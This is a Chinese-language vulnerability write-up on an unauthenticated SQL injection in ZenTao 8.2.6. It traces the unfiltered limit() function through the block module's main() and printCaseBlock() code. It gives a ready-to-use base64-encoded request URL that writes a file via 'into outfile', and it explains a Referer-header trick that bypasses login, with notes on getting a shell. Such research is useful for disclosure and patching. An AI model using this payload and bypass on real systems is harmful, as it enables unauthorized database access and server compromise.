> 上一篇文章,SQL注入由orderBy($order)
函数过滤不严格导致。但是,这个函数对传进的参数进行了一系列过滤,导致getshell
的条件比较苛刻。不甘心,于是乎找了一个比较好利用的地方。我只是以这个模块的一个函数为例,其它未提到的地方仍然很有可能存在注入。
> 问题出现在limit($limit)
函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function limit($limit)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
if(empty($limit)) return $this;
stripos($limit, 'limit') !== false ? $this->sql .= " $limit " : $this->sql .= ' ' . DAO::LIMIT . " $limit ";
return $this;
}
> 把这个函数在控制器文件中搜索了一下,->limit($
只出现在了module\block\control.php
中,。这个模块中只有main()
函数是最重要的函数,其它函数都是通过传参进行回调的。直接切入重点吧
// 288行
public function main($module = '', $id = 0)
{
// 代码省略
$mode = strtolower($this->get->mode);
if($mode == 'getblocklist')
{
// 代码省略
}
elseif($mode == 'getblockdata')
{ // 需要base64编码
$code = strtolower($this->get->blockid);
$params = $this->get->param;
$params = json_decode(base64_decode($params)); // 这里需要编码
// 代码省略
$this->viewType = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
$this->params = $params;
$this->view->code = $this->get->blockid;
$func = 'print' . ucfirst($code) . 'Block';
if(method_exists('block', $func))
{
$this->$func($module); // 在这里进行了动态调用
}
else
{
$this->view->data = $this->block->$func($module, $params);
}
// 代码省略
}
}
> 假设,我们想调用printCaseBlock()
函数,那么传递进去的参数就应该是mode=getblockdata
、blockid=case
、以及编码后的param
。
// 444行
public function printCaseBlock()
{
$this->session->set('caseList', $this->server->http_referer);
$this->app->loadLang('testcase');
$this->app->loadLang('testtask');
$cases = array();
var_dump($this->params);
if($this->params->type == 'assigntome')
{
$cases = $this->dao->select('t1.assignedTo AS assignedTo, t2.*')->from(TABLE_TESTRUN)->alias('t1')
->leftJoin(TABLE_CASE)->alias('t2')->on('t1.case = t2.id')
->leftJoin(TABLE_TESTTASK)->alias('t3')->on('t1.task = t3.id')
->Where('t1.assignedTo')->eq($this->app->user->account)
->andWhere('t1.status')->ne('done')
->andWhere('t3.status')->ne('done')
->andWhere('t3.deleted')->eq(0)
->andWhere('t2.deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
elseif($this->params->type == 'openedbyme')
{
$cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE)
->andWhere('deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
$this->view->cases = $cases;
}
> 第一个里面的看起来麻烦多了 ,我决定构造payload进入第二个分支。构造出来的语句如下:
{"orderBy":"order","num":"1 into outfile 'd:/123'","type":"openedbyme"}
> 最后的payload
就应该是,这里只是以写文件为例,因为这个系统采取的PDO
,因此可以多语句执行的。
http://zentao826.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIiLCJudW0iOiIxIGludG8gb3V0ZmlsZSAnZDovMTIzJyIsInR5cGUiOiJvcGVuZWRieW1lIn0
条件限制:
条件限制:
shell
,那么当前数据库账户必须有文件操作的权限> 当时我在想,这个地方好像是没有限制权限的,能不能绕过登录直接进行注入呢?后来发现,果然是可以的,这样的话,这个漏洞就绝对不鸡肋
// 22行,构造函数
public function __construct($moduleName = '', $methodName = '')
{
parent::__construct($moduleName, $methodName);
/* Mark the call from zentao or ranzhi. */
$this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
}
> 这个地方,它应该是提供给然之
或者禅道
的一个接口,如果不满足第二个条件,那么就die('')
。我看了看,除了$this->selfCall
以及!$this->loadModel('sso')->checkKey()
单点登录校验,其它对于我们注入是无用的,但是单点登录的key
我们是无法构造的,因此焦点就落在了$this->selfCall
上了。$this->server->http_referer
是HTTP
请求头中的referer
字段。因此在未登录的状态下,增加一个头字段:referer:example.com即可绕过登录进行注入